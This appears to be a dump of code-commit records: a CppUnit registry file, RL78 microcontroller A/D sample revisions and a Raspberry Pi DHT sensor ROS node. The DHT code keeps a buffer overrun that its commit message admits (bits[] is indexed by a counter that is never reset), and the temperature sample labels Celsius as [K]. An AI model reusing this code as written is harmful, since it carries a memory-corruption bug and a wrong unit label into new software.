)\n{\n}\n\n\nTestFactoryRegistry::~TestFactoryRegistry()\n{\n}\n\n\nTestFactoryRegistry &\nTestFactoryRegistry::getRegistry( const std::string &name )\n{\n return *TestFactoryRegistryList::getRegistry( name );\n}\n\n\nvoid \nTestFactoryRegistry::registerFactory( const std::string &name,\n TestFactory *factory )\n{\n registerFactory( factory );\n}\n\n\nvoid \nTestFactoryRegistry::registerFactory( TestFactory *factory )\n{\n m_factories.insert( factory );\n}\n\n\nvoid \nTestFactoryRegistry::unregisterFactory( TestFactory *factory )\n{\n m_factories.erase( factory );\n}\n\n\nvoid \nTestFactoryRegistry::addRegistry( const std::string &name )\n{\n registerFactory( &getRegistry( name ) );\n}\n\n\nTest *\nTestFactoryRegistry::makeTest()\n{\n TestSuite *suite = new TestSuite( m_name );\n addTestToSuite( suite );\n return suite;\n}\n\n\nvoid \nTestFactoryRegistry::addTestToSuite( TestSuite *suite )\n{\n for ( Factories::iterator it = m_factories.begin(); \n it != m_factories.end(); \n ++it )\n {\n TestFactory *factory = *it;\n suite->addTest( factory->makeTest() );\n }\n}\n\n\nbool \nTestFactoryRegistry::isValid()\n{\n return TestFactoryRegistryList::isValid();\n}\n\n\nCPPUNIT_NS_END\n<|endoftext|>"} {"text":"<commit_before>\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tA\/D 変換のサンプル @n\n\t\t\tP22\/ANI2(54)、P23\/ANI3(53) を変換して表示\n\t@author\t平松邦仁 (hira@rvf-rc45.net)\n*\/\n\/\/=====================================================================\/\/\n#include <cstdint>\n#include \"common\/port_utils.hpp\"\n#include \"common\/fifo.hpp\"\n#include \"common\/uart_io.hpp\"\n#include \"common\/format.hpp\"\n#include \"common\/itimer.hpp\"\n#include \"common\/adc_io.hpp\"\n#include \"common\/task.hpp\"\n\nnamespace {\n\tvoid wait_()\n\t{\n\t\tasm(\"nop\");\n\t}\n\n\ttypedef utils::fifo<uint8_t, 32> buffer;\n\tdevice::uart_io<device::SAU02, device::SAU03, buffer, buffer> uart_;\n\n\tdevice::itimer<uint8_t> itm_;\n\n\t\/\/ 最終チャネル番号+1を設定\n\ttypedef device::adc_io<4, utils::null_task> adc;\n\tadc adc_;\n}\n\n\/\/\/ 割り込みベクターの定義\nconst void* ivec_[] __attribute__ ((section (\".ivec\"))) = {\n\t\/* 0 *\/ nullptr,\n\t\/* 1 *\/ nullptr,\n\t\/* 2 *\/ nullptr,\n\t\/* 3 *\/ nullptr,\n\t\/* 4 *\/ nullptr,\n\t\/* 5 *\/ nullptr,\n\t\/* 6 *\/ nullptr,\n\t\/* 7 *\/ nullptr,\n\t\/* 8 *\/ nullptr,\n\t\/* 9 *\/ nullptr,\n\t\/* 10 *\/ nullptr,\n\t\/* 11 *\/ nullptr,\n\t\/* 12 *\/ nullptr,\n\t\/* 13 *\/ nullptr,\n\t\/* 14 *\/ nullptr,\n\t\/* 15 *\/ nullptr,\n\t\/* 16 *\/ reinterpret_cast<void*>(uart_.send_task), \/\/ UART1-TX\n\t\/* 17 *\/ reinterpret_cast<void*>(uart_.recv_task), \/\/ UART1-RX\n\t\/* 18 *\/ reinterpret_cast<void*>(uart_.error_task), \/\/ UART1-ER\n\t\/* 19 *\/ nullptr,\n\t\/* 20 *\/ nullptr,\n\t\/* 21 *\/ nullptr,\n\t\/* 22 *\/ nullptr,\n\t\/* 23 *\/ nullptr,\n\t\/* 24 *\/ reinterpret_cast<void*>(adc_.task),\n\t\/* 25 *\/ nullptr,\n\t\/* 26 *\/ reinterpret_cast<void*>(itm_.task),\n};\n\n\nextern \"C\" {\n\tvoid sci_putch(char ch)\n\t{\n\t\tuart_.putch(ch);\n\t}\n\n\tvoid sci_puts(const char* str)\n\t{\n\t\tuart_.puts(str);\n\t}\n};\n\n\nint main(int argc, char* argv[])\n{\n\tutils::port::pullup_all(); \/\/\/< 安全の為、全ての入力をプルアップ\n\n\tdevice::PM4.B3 = 0; \/\/ output\n\n\t{\n\t\tuint8_t intr_level = 1;\n\t\tuart_.start(115200, intr_level);\n\t}\n\n\t{\n\t\tuint8_t intr_level = 1;\n\t\titm_.start(60, intr_level);\n\t}\n\n\t{\n\t\tdevice::PM2.B2 = 1;\n\t\tdevice::PM2.B3 = 1;\n\t\tuint8_t intr_level = 1; \/\/ 割り込み設定\n\t\tadc_.start(adc::REFP::VDD, adc::REFM::VSS, intr_level);\n\t}\n\n\tuart_.puts(\"Start RL78\/G13 A\/D Convert sample\\n\");\n\n\tuint8_t n = 0;\n\tuint8_t t = 0;\n\twhile(1) {\n\t\titm_.sync();\n\t\tadc_.start_scan(2); \/\/ スキャン開始チャネル\n\n\t\tif(t >= 30) {\n\t\t\tauto val = adc_.get(2);\n\t\t\tval >>= 6;\n#if 1\n\t\t\tuint32_t vol = static_cast<uint32_t>(val) * 1024 \/ 310; \/\/ Vref: 3.3V とした場合の電圧\n\t\t\tutils::format(\"A\/D CH2: %4.2:10y [V] (%d)\\n\") % vol % val;\n#else\n\t\t\tfloat vol = static_cast<float>(val) * 3.3f \/ 1023.0f;\n\t\t\tutils::format(\"A\/D CH2: %4.2f [V] (%d)\\n\") % vol % val;\n#endif\n\t\t\tval = adc_.get(3);\n\t\t\tval >>= 6;\n#if 1\n\t\t\tvol = static_cast<uint32_t>(val) * 1024 \/ 310;\n\t\t\tutils::format(\"A\/D CH3: %4.2:10y [V] (%d)\\n\") % vol % val;\n#else\n\t\t\tvol = static_cast<float>(val) * 3.3f \/ 1023.0f;\n\t\t\tutils::format(\"A\/D CH3: %4.2f [V] (%d)\\n\") % vol % val;\n#endif\n\t\t\tt = 0;\n\t\t} else {\n\t\t\t++t;\n\t\t}\n\n\t\t++n;\n\t\tif(n >= 30) n = 0;\n\t\tdevice::P4.B3 = n < 10 ? false : true; \t\n\t}\n}\n<commit_msg>fix A\/D scan sync<commit_after>\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tA\/D 変換のサンプル @n\n\t\t\tP22\/ANI2(54)、P23\/ANI3(53) を変換して表示\n\t@author\t平松邦仁 (hira@rvf-rc45.net)\n*\/\n\/\/=====================================================================\/\/\n#include <cstdint>\n#include \"common\/port_utils.hpp\"\n#include \"common\/fifo.hpp\"\n#include \"common\/uart_io.hpp\"\n#include \"common\/format.hpp\"\n#include \"common\/itimer.hpp\"\n#include \"common\/adc_io.hpp\"\n#include \"common\/task.hpp\"\n\nnamespace {\n\tvoid wait_()\n\t{\n\t\tasm(\"nop\");\n\t}\n\n\ttypedef utils::fifo<uint8_t, 32> buffer;\n\tdevice::uart_io<device::SAU02, device::SAU03, buffer, buffer> uart_;\n\n\tdevice::itimer<uint8_t> itm_;\n\n\t\/\/ 最終チャネル番号+1を設定\n\ttypedef device::adc_io<4, utils::null_task> adc;\n\tadc adc_;\n}\n\n\/\/\/ 割り込みベクターの定義\nconst void* ivec_[] __attribute__ ((section (\".ivec\"))) = {\n\t\/* 0 *\/ nullptr,\n\t\/* 1 *\/ nullptr,\n\t\/* 2 *\/ nullptr,\n\t\/* 3 *\/ nullptr,\n\t\/* 4 *\/ nullptr,\n\t\/* 5 *\/ nullptr,\n\t\/* 6 *\/ nullptr,\n\t\/* 7 *\/ nullptr,\n\t\/* 8 *\/ nullptr,\n\t\/* 9 *\/ nullptr,\n\t\/* 10 *\/ nullptr,\n\t\/* 11 *\/ nullptr,\n\t\/* 12 *\/ nullptr,\n\t\/* 13 *\/ nullptr,\n\t\/* 14 *\/ nullptr,\n\t\/* 15 *\/ nullptr,\n\t\/* 16 *\/ reinterpret_cast<void*>(uart_.send_task), \/\/ UART1-TX\n\t\/* 17 *\/ reinterpret_cast<void*>(uart_.recv_task), \/\/ UART1-RX\n\t\/* 18 *\/ reinterpret_cast<void*>(uart_.error_task), \/\/ UART1-ER\n\t\/* 19 *\/ nullptr,\n\t\/* 20 *\/ nullptr,\n\t\/* 21 *\/ nullptr,\n\t\/* 22 *\/ nullptr,\n\t\/* 23 *\/ nullptr,\n\t\/* 24 *\/ reinterpret_cast<void*>(adc_.task),\n\t\/* 25 *\/ nullptr,\n\t\/* 26 *\/ reinterpret_cast<void*>(itm_.task),\n};\n\n\nextern \"C\" {\n\tvoid sci_putch(char ch)\n\t{\n\t\tuart_.putch(ch);\n\t}\n\n\tvoid sci_puts(const char* str)\n\t{\n\t\tuart_.puts(str);\n\t}\n};\n\n\nint main(int argc, char* argv[])\n{\n\tutils::port::pullup_all(); \/\/\/< 安全の為、全ての入力をプルアップ\n\n\tdevice::PM4.B3 = 0; \/\/ output\n\n\t{\n\t\tuint8_t intr_level = 1;\n\t\tuart_.start(115200, intr_level);\n\t}\n\n\t{\n\t\tuint8_t intr_level = 1;\n\t\titm_.start(60, intr_level);\n\t}\n\n\t{\n\t\tdevice::PM2.B2 = 1;\n\t\tdevice::PM2.B3 = 1;\n\t\tuint8_t intr_level = 1; \/\/ 割り込み設定\n\t\tadc_.start(adc::REFP::VDD, adc::REFM::VSS, intr_level);\n\t}\n\n\tuart_.puts(\"Start RL78\/G13 A\/D Convert sample\\n\");\n\n\tuint8_t n = 0;\n\tuint8_t t = 0;\n\twhile(1) {\n\t\titm_.sync();\n\t\tadc_.start_scan(2); \/\/ スキャン開始チャネル\n\n\t\tadc_.sync(); \/\/ スキャン終了待ち\n\n\t\tif(t >= 30) {\n\t\t\tauto val = adc_.get(2);\n\t\t\tval >>= 6;\n#if 1\n\t\t\tuint32_t vol = static_cast<uint32_t>(val) * 1024 \/ 310; \/\/ Vref: 3.3V とした場合の電圧\n\t\t\tutils::format(\"A\/D CH2: %4.2:10y [V] (%d)\\n\") % vol % val;\n#else\n\t\t\tfloat vol = static_cast<float>(val) * 3.3f \/ 1023.0f;\n\t\t\tutils::format(\"A\/D CH2: %4.2f [V] (%d)\\n\") % vol % val;\n#endif\n\t\t\tval = adc_.get(3);\n\t\t\tval >>= 6;\n#if 1\n\t\t\tvol = static_cast<uint32_t>(val) * 1024 \/ 310;\n\t\t\tutils::format(\"A\/D CH3: %4.2:10y [V] (%d)\\n\") % vol % val;\n#else\n\t\t\tvol = static_cast<float>(val) * 3.3f \/ 1023.0f;\n\t\t\tutils::format(\"A\/D CH3: %4.2f [V] (%d)\\n\") % vol % val;\n#endif\n\t\t\tt = 0;\n\t\t} else {\n\t\t\t++t;\n\t\t}\n\n\t\t++n;\n\t\tif(n >= 30) n = 0;\n\t\tdevice::P4.B3 = n < 10 ? false : true; \t\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tA\/D 変換のサンプル @n\n\t\t\tP22\/ANI2(54)、P23\/ANI3(53) を変換して表示\n @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2016 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RL78\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#include <cstdint>\n#include \"common\/renesas.hpp\"\n#include \"common\/port_utils.hpp\"\n#include \"common\/fifo.hpp\"\n#include \"common\/uart_io.hpp\"\n#include \"common\/format.hpp\"\n#include \"common\/itimer.hpp\"\n#include \"common\/adc_io.hpp\"\n#include \"common\/task.hpp\"\n\nnamespace {\n\tvoid wait_()\n\t{\n\t\tasm(\"nop\");\n\t}\n\n\ttypedef utils::fifo<uint8_t, 32> BUFFER;\n\ttypedef device::uart_io<device::SAU02, device::SAU03, BUFFER, BUFFER> UART1;\n\tUART1\tuart_;\n\n\ttypedef device::itimer<uint8_t> ITM;\n\tITM\t\titm_;\n\n\t\/\/ 最終チャネル番号+1を設定\n\ttypedef device::adc_io<4, utils::null_task> ADC;\n\tADC \tadc_;\n}\n\n\nextern \"C\" {\n\n\tvoid sci_putch(char ch)\n\t{\n\t\tuart_.putch(ch);\n\t}\n\n\n\tvoid sci_puts(const char* str)\n\t{\n\t\tuart_.puts(str);\n\t}\n\n\n\tchar sci_getch(void)\n\t{\n\t\treturn uart_.getch();\n\t}\n\n\n\tuint16_t sci_length()\n\t{\n\t\treturn uart_.recv_length();\n\t}\n\n\n\tvoid UART1_TX_intr(void)\n\t{\n\t\tuart_.send_task();\n\t}\n\n\n\tvoid UART1_RX_intr(void)\n\t{\n\t\tuart_.recv_task();\n\t}\n\n\n\tvoid UART1_ER_intr(void)\n\t{\n\t\tuart_.error_task();\n\t}\n\n\n\tvoid ADC_intr(void)\n\t{\n\t\tadc_.task();\n\t}\n\n\n\tvoid ITM_intr(void)\n\t{\n\t\titm_.task();\n\t}\n};\n\n\nint main(int argc, char* argv[])\n{\n\tutils::port::pullup_all(); \/\/\/< 安全の為、全ての入力をプルアップ\n\n\tdevice::PM4.B3 = 0; \/\/ output\n\n\t{\n\t\tuint8_t intr_level = 1;\n\t\tuart_.start(115200, intr_level);\n\t}\n\n\t{\n\t\tuint8_t intr_level = 1;\n\t\titm_.start(60, intr_level);\n\t}\n\n\t{\n\t\tdevice::PM2.B2 = 1;\n\t\tdevice::PM2.B3 = 1;\n\t\tuint8_t intr_level = 1; \/\/ 割り込み設定\n\t\tadc_.start(ADC::REFP::VDD, ADC::REFM::VSS, intr_level);\n\t}\n\n\tuart_.puts(\"Start RL78\/G13 A\/D Convert sample\\n\");\n\n\tuint8_t n = 0;\n\tuint8_t t = 0;\n\twhile(1) {\n\t\titm_.sync();\n\t\tadc_.start_scan(2); \/\/ スキャン開始チャネル\n\n\t\tadc_.sync(); \/\/ スキャン終了待ち\n\n\t\tif(t >= 30) {\n\t\t\tauto val = adc_.get(2);\n\t\t\tval >>= 6;\n#if 1\n\t\t\tuint32_t vol = static_cast<uint32_t>(val) * 1024 \/ 310; \/\/ Vref: 3.3V とした場合の電圧\n\t\t\tutils::format(\"A\/D CH2: %4.2:10y [V] (%d)\\n\") % vol % val;\n#else\n\t\t\tfloat vol = static_cast<float>(val) * 3.3f \/ 1023.0f;\n\t\t\tutils::format(\"A\/D CH2: %4.2f [V] (%d)\\n\") % vol % val;\n#endif\n\t\t\tval = adc_.get(3);\n\t\t\tval >>= 6;\n#if 1\n\t\t\tvol = static_cast<uint32_t>(val) * 1024 \/ 310;\n\t\t\tutils::format(\"A\/D CH3: %4.2:10y [V] (%d)\\n\") % vol % val;\n#else\n\t\t\tvol = static_cast<float>(val) * 3.3f \/ 1023.0f;\n\t\t\tutils::format(\"A\/D CH3: %4.2f [V] (%d)\\n\") % vol % val;\n#endif\n\t\t\tt = 0;\n\t\t} else {\n\t\t\t++t;\n\t\t}\n\n\t\t++n;\n\t\tif(n >= 30) n = 0;\n\t\tdevice::P4.B3 = n < 10 ? false : true; \t\n\t}\n}\n<commit_msg>update interrnal temp<commit_after>\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tA\/D 変換のサンプル @n\n\t\t\tP22\/ANI2(54)、P23\/ANI3(53) を変換して表示\n @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2016 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RL78\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#include <cstdint>\n#include \"common\/renesas.hpp\"\n#include \"common\/port_utils.hpp\"\n#include \"common\/fifo.hpp\"\n#include \"common\/uart_io.hpp\"\n#include \"common\/format.hpp\"\n#include \"common\/itimer.hpp\"\n#include \"common\/adc_io.hpp\"\n#include \"common\/task.hpp\"\n\nnamespace {\n\tvoid wait_()\n\t{\n\t\tasm(\"nop\");\n\t}\n\n\ttypedef utils::fifo<uint8_t, 32> BUFFER;\n\ttypedef device::uart_io<device::SAU02, device::SAU03, BUFFER, BUFFER> UART1;\n\tUART1\tuart_;\n\n\ttypedef device::itimer<uint8_t> ITM;\n\tITM\t\titm_;\n\n\t\/\/ 最終チャネル番号+1を設定\n\ttypedef device::adc_io<4, utils::null_task> ADC;\n\tADC \tadc_;\n}\n\n\nextern \"C\" {\n\n\tvoid sci_putch(char ch)\n\t{\n\t\tuart_.putch(ch);\n\t}\n\n\n\tvoid sci_puts(const char* str)\n\t{\n\t\tuart_.puts(str);\n\t}\n\n\n\tchar sci_getch(void)\n\t{\n\t\treturn uart_.getch();\n\t}\n\n\n\tuint16_t sci_length()\n\t{\n\t\treturn uart_.recv_length();\n\t}\n\n\n\tvoid UART1_TX_intr(void)\n\t{\n\t\tuart_.send_task();\n\t}\n\n\n\tvoid UART1_RX_intr(void)\n\t{\n\t\tuart_.recv_task();\n\t}\n\n\n\tvoid UART1_ER_intr(void)\n\t{\n\t\tuart_.error_task();\n\t}\n\n\n\tvoid ADC_intr(void)\n\t{\n\t\tadc_.task();\n\t}\n\n\n\tvoid ITM_intr(void)\n\t{\n\t\titm_.task();\n\t}\n};\n\n\nint main(int argc, char* argv[])\n{\n\tutils::port::pullup_all(); \/\/\/< 安全の為、全ての入力をプルアップ\n\n\tdevice::PM4.B3 = 0; \/\/ output\n\n\t{\n\t\tuint8_t intr_level = 1;\n\t\tuart_.start(115200, intr_level);\n\t}\n\n\t{\n\t\tuint8_t intr_level = 1;\n\t\titm_.start(60, intr_level);\n\t}\n\n\t{\n\t\tdevice::PM2.B2 = 1;\n\t\tdevice::PM2.B3 = 1;\n\t\tuint8_t intr_level = 1; \/\/ 割り込み設定\n\t\tadc_.start(ADC::REFP::VDD, ADC::REFM::VSS, intr_level);\n\t}\n\n\tuart_.puts(\"Start RL78\/G13 A\/D Convert sample\\n\");\n\n\tuint8_t n = 0;\n\tuint8_t t = 0;\n\twhile(1) {\n\t\titm_.sync();\n\t\tadc_.start_scan(2, true); \/\/ スキャン開始チャネル、温度取得\n\n\t\tadc_.sync(); \/\/ スキャン終了待ち\n\n\t\tif(t >= 30) {\n\t\t\tauto val = adc_.get(2);\n\t\t\tval >>= 6;\n#if 1\n\t\t\tuint32_t vol = static_cast<uint32_t>(val) * 1024 \/ 310; \/\/ Vref: 3.3V とした場合の電圧\n\t\t\tutils::format(\"A\/D CH2: %4.2:10y [V] (%d)\\n\") % vol % val;\n#else\n\t\t\tfloat vol = static_cast<float>(val) * 3.3f \/ 1023.0f;\n\t\t\tutils::format(\"A\/D CH2: %4.2f [V] (%d)\\n\") % vol % val;\n#endif\n\t\t\tval = adc_.get(3);\n\t\t\tval >>= 6;\n#if 1\n\t\t\tvol = static_cast<uint32_t>(val) * 1024 \/ 310;\n\t\t\tutils::format(\"A\/D CH3: %4.2:10y [V] (%d)\\n\") % vol % val;\n#else\n\t\t\tvol = static_cast<float>(val) * 3.3f \/ 1023.0f;\n\t\t\tutils::format(\"A\/D CH3: %4.2f [V] (%d)\\n\") % vol % val;\n#endif\n\t\t\t\/\/ 温度表示\n\t\t\tval = adc_.get_temp();\n\t\t\tval >>= 6;\n\t\t\t\/\/ 1.05V: 25.0度, 3.6mV\/度\n\t\t\tfloat tv = static_cast<float>(val) * 3.3f \/ 1023.0f;\n\t\t\tfloat temp = (1.05f - tv) \/ 0.0036f + 25.0f;\n\t\t\tutils::format(\"A\/D TEMP: %4.2f [K], %4.3f [V]\\n\") % temp % tv;\n\n\t\t\tt = 0;\n\t\t} else {\n\t\t\t++t;\n\t\t}\n\n\t\t++n;\n\t\tif(n >= 30) n = 0;\n\t\tdevice::P4.B3 = n < 10 ? false : true; \t\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ ROS Building Operating System digital temperature and humidity\n\/\/ sensor driver based on:\n\/\/ How to access GPIO registers from C-code on the Raspberry-Pi\n\/\/ Example program\n\/\/ 15-January-2012\n\/\/ Dom and Gert\n\/\/\n\n\n\/\/ Access from ARM Running Linux\n\n#define BCM2708_PERI_BASE 0x20000000\n#define GPIO_BASE (BCM2708_PERI_BASE + 0x200000) \/* GPIO controller *\/\n\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <dirent.h>\n#include <fcntl.h>\n#include <assert.h>\n#include <unistd.h>\n#include <sys\/mman.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <sys\/time.h>\n#include <bcm2835.h>\n#include <unistd.h>\n\n#include \"ros\/ros.h\"\n#include \"std_msgs\/Float32.h\"\n\n#define MAXTIMINGS 100\n\n#define DEBUG\n\n#define DHT11 11\n#define DHT22 22\n#define AM2302 22\n\n\nint readDHT(int type, int pin, float* t, float* h);\n\nint main(int argc, char **argv) {\n\n if (!bcm2835_init()) return 1;\n\n if (argc < 3) {\n printf(\"usage: %s {11|22|2302} GPIOpin# [ROS Parameters]\\n\", argv[0]);\n printf(\"example: %s 2302 4 - Read from an AM2302 connected to GPIO #4\\n\", argv[0]);\n return 2;\n }\n\n int type = 0;\n if (strcmp(argv[1], \"11\") == 0) type = DHT11;\n if (strcmp(argv[1], \"22\") == 0) type = DHT22;\n if (strcmp(argv[1], \"2302\") == 0) type = AM2302;\n if (type == 0) {\n printf(\"Select 11, 22, 2302 as type!\\n\");\n return 3;\n }\n \n int dhtpin = atoi(argv[2]);\n if (dhtpin <= 0) {\n printf(\"Please select a valid GPIO pin #\\n\");\n return 3;\n }\n\n printf(\"Using pin #%d\\n\", dhtpin);\n\n ros::init(argc, argv, \"raspi_dht\");\n\n ros::NodeHandle n;\n\n ros::Publisher temperature_pub = n.advertise<std_msgs::Float32>(\"temperature\", 1);\n ros::Publisher humidity_pub = n.advertise<std_msgs::Float32>(\"humidity\", 1);\n\n ros::Rate loop_rate(0.016);\n ros::Duration retry_interval(5.0);\n\n while (ros::ok()) {\n std_msgs::Float32 temperature_msg, humidity_msg;\n float t, h;\n\n ros::spinOnce();\n\n if (readDHT(type, dhtpin, &t, &h)) {\n temperature_msg.data = t;\n temperature_pub.publish(temperature_msg);\n humidity_msg.data = h;\n humidity_pub.publish(humidity_msg);\n loop_rate.sleep();\n }\n else {\n#ifdef DEBUG\n printf(\"No data, retrying soon\\n\");\n#endif\n retry_interval.sleep();\n }\n }\n\n return 0;\n\n} \/\/ main\n\n\nint bits[250], data[100];\nint bitidx = 0;\n\nint readDHT(int type, int pin, float* t, float* h) {\n int counter = 0;\n int laststate = HIGH;\n int j=0;\n\n \/\/ Set GPIO pin to output\n bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_OUTP);\n\n bcm2835_gpio_write(pin, HIGH);\n usleep(500000); \/\/ 500 ms\n bcm2835_gpio_write(pin, LOW);\n usleep(20000);\n\n bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_INPT);\n\n data[0] = data[1] = data[2] = data[3] = data[4] = 0;\n\n \/\/ wait for pin to drop?\n while (bcm2835_gpio_lev(pin) == 1) {\n usleep(1);\n }\n\n \/\/ read data!\n for (int i=0; i< MAXTIMINGS; i++) {\n counter = 0;\n while ( bcm2835_gpio_lev(pin) == laststate) {\n\tcounter++;\n\t\/\/nanosleep(1);\t\t\/\/ overclocking might change this?\n if (counter == 1000)\n\t break;\n }\n laststate = bcm2835_gpio_lev(pin);\n if (counter == 1000) break;\n bits[bitidx++] = counter;\n\n if ((i>3) && (i%2 == 0)) {\n \/\/ shove each bit into the storage bytes\n data[j\/8] <<= 1;\n if (counter > 200)\n data[j\/8] |= 1;\n j++;\n }\n }\n\n\n#ifdef DEBUG\n for (int i=3; i<bitidx; i+=2) {\n printf(\"bit %d: %d\\n\", i-3, bits[i]);\n printf(\"bit %d: %d (%d)\\n\", i-2, bits[i+1], bits[i+1] > 200);\n }\n#endif\n\n if ((j >= 39) &&\n (data[4] == ((data[0] + data[1] + data[2] + data[3]) & 0xFF)) ) {\n \/\/ yay!\n if (type == DHT11) {\n *t = (float)data[2];\n *h = (float)data[0];\n#ifdef DEBUG\n printf(\"Temp = %d *C, Hum = %d \\%\\n\", data[2], data[0]);\n#endif\n }\n if (type == DHT22) {\n\t*h = data[0] * 256 + data[1];\n\t*h \/= 10;\n\n\t*t = (data[2] & 0x7F)* 256 + data[3];\n *t \/= 10.0;\n if (data[2] & 0x80) *t *= -1;\n#ifdef DEBUG\n\tprintf(\"Temp = %.1f *C, Hum = %.1f \\%\\n\", *t, *h);\n#endif\n }\n return 1;\n }\n\n return 0;\n}\n<commit_msg>Now working with Avahi enabled on raspberry pi and ROS_HOSTNAME environmental variable set and exported. However there is a buffer overrun bug in the readDHT routine.<commit_after>\/\/ ROS Building Operating System digital temperature and humidity\n\/\/ sensor driver based on:\n\/\/ How to access GPIO registers from C-code on the Raspberry-Pi\n\/\/ Example program\n\/\/ 15-January-2012\n\/\/ Dom and Gert\n\/\/\n\n\n\/\/ Access from ARM Running Linux\n\n#define BCM2708_PERI_BASE 0x20000000\n#define GPIO_BASE (BCM2708_PERI_BASE + 0x200000) \/* GPIO controller *\/\n\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <dirent.h>\n#include <fcntl.h>\n#include <assert.h>\n#include <unistd.h>\n#include <sys\/mman.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <sys\/time.h>\n#include <bcm2835.h>\n#include <unistd.h>\n\n#include \"ros\/ros.h\"\n#include \"std_msgs\/Float32.h\"\n\n#define MAXTIMINGS 100\n\n\/\/#define DEBUG\n\n#define DHT11 11\n#define DHT22 22\n#define AM2302 22\n\n\nint readDHT(int type, int pin, float* t, float* h);\n\nint main(int argc, char **argv) {\n\n if (!bcm2835_init()) return 1;\n\n if (argc < 3) {\n printf(\"usage: %s {11|22|2302} GPIOpin# [ROS Parameters]\\n\", argv[0]);\n printf(\"example: %s 2302 4 - Read from an AM2302 connected to GPIO #4\\n\", argv[0]);\n return 2;\n }\n\n int type = 0;\n if (strcmp(argv[1], \"11\") == 0) type = DHT11;\n if (strcmp(argv[1], \"22\") == 0) type = DHT22;\n if (strcmp(argv[1], \"2302\") == 0) type = AM2302;\n if (type == 0) {\n printf(\"Select 11, 22, 2302 as type!\\n\");\n return 3;\n }\n \n int dhtpin = atoi(argv[2]);\n if (dhtpin <= 0) {\n printf(\"Please select a valid GPIO pin #\\n\");\n return 3;\n }\n\n printf(\"Using pin #%d\\n\", dhtpin);\n\n ros::init(argc, argv, \"raspi_dht\");\n\n ros::NodeHandle n;\n\n ros::Publisher temperature_pub = n.advertise<std_msgs::Float32>(\"temperature\", 2);\n ros::Publisher humidity_pub = n.advertise<std_msgs::Float32>(\"humidity\", 2);\n\n ros::Rate loop_rate(0.016);\n ros::Duration retry_interval(5.0);\n ros::Duration backoff_interval(200);\n\n bool last_had_data = true;\n\n while (ros::ok()) {\n std_msgs::Float32 temperature_msg, humidity_msg;\n float t, h;\n\n if (readDHT(type, dhtpin, &t, &h)) {\n temperature_msg.data = t;\n humidity_msg.data = h;\n#ifdef DEBUG\n printf(\"Publishing data: t=%f, h=%f\\n\", t, h);\n ROS_INFO(\"BOS_RASPI_DHT_NODE: %f, %f\", t, h);\n#endif\n temperature_pub.publish(temperature_msg);\n humidity_pub.publish(humidity_msg);\n ros::spinOnce();\n loop_rate.sleep();\n last_had_data = true;\n }\n else {\n if (last_had_data) {\n\tROS_INFO(\"BOS_raspi_DHT_node: no data, retrying soon\");\n\tretry_interval.sleep();\n }\n else {\n\tROS_INFO(\"BOS_raspi_DHT_node: no data, waiting a while\");\n\tbackoff_interval.sleep();\n }\n last_had_data = false;\n }\n }\n\n return 0;\n\n} \/\/ main\n\n\nint bits[250], data[100];\nint bitidx = 0;\n\nint readDHT(int type, int pin, float* t, float* h) {\n int counter = 0;\n int laststate = HIGH;\n int j=0;\n\n \/\/ Set GPIO pin to output\n bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_OUTP);\n\n bcm2835_gpio_write(pin, HIGH);\n usleep(500000); \/\/ 500 ms\n bcm2835_gpio_write(pin, LOW);\n usleep(20000);\n\n bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_INPT);\n\n data[0] = data[1] = data[2] = data[3] = data[4] = 0;\n\n \/\/ wait for pin to drop?\n while (bcm2835_gpio_lev(pin) == 1) {\n usleep(1);\n }\n\n \/\/ read data!\n for (int i=0; i< MAXTIMINGS; i++) {\n counter = 0;\n while ( bcm2835_gpio_lev(pin) == laststate) {\n\tcounter++;\n\t\/\/nanosleep(1);\t\t\/\/ overclocking might change this?\n if (counter == 1000)\n\t break;\n }\n laststate = bcm2835_gpio_lev(pin);\n if (counter == 1000) break;\n bits[bitidx++] = counter;\n\n if ((i>3) && (i%2 == 0)) {\n \/\/ shove each bit into the storage bytes\n data[j\/8] <<= 1;\n if (counter > 200)\n data[j\/8] |= 1;\n j++;\n }\n }\n\n\n#ifdef DEBUG\n for (int i=3; i<bitidx; i+=2) {\n printf(\"bit %d: %d\\n\", i-3, bits[i]);\n printf(\"bit %d: %d (%d)\\n\", i-2, bits[i+1], bits[i+1] > 200);\n }\n#endif\n\n if ((j >= 39) &&\n (data[4] == ((data[0] + data[1] + data[2] + data[3]) & 0xFF)) ) {\n \/\/ yay!\n if (type == DHT11) {\n *t = (float)data[2];\n *h = (float)data[0];\n#ifdef DEBUG\n printf(\"Temp = %d *C, Hum = %d \\%\\n\", data[2], data[0]);\n#endif\n }\n if (type == DHT22) {\n\t*h = data[0] * 256 + data[1];\n\t*h \/= 10;\n\n\t*t = (data[2] & 0x7F)* 256 + data[3];\n *t \/= 10.0;\n if (data[2] & 0x80) *t *= -1;\n#ifdef DEBUG\n\tprintf(\"Temp = %.1f *C, Hum = %.1f \\%\\n\", *t, *h);\n#endif\n }\n return 1;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * ====================================================================\n * Copyright (c) 2002-2005 The RapidSvn Group. All rights reserved.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be 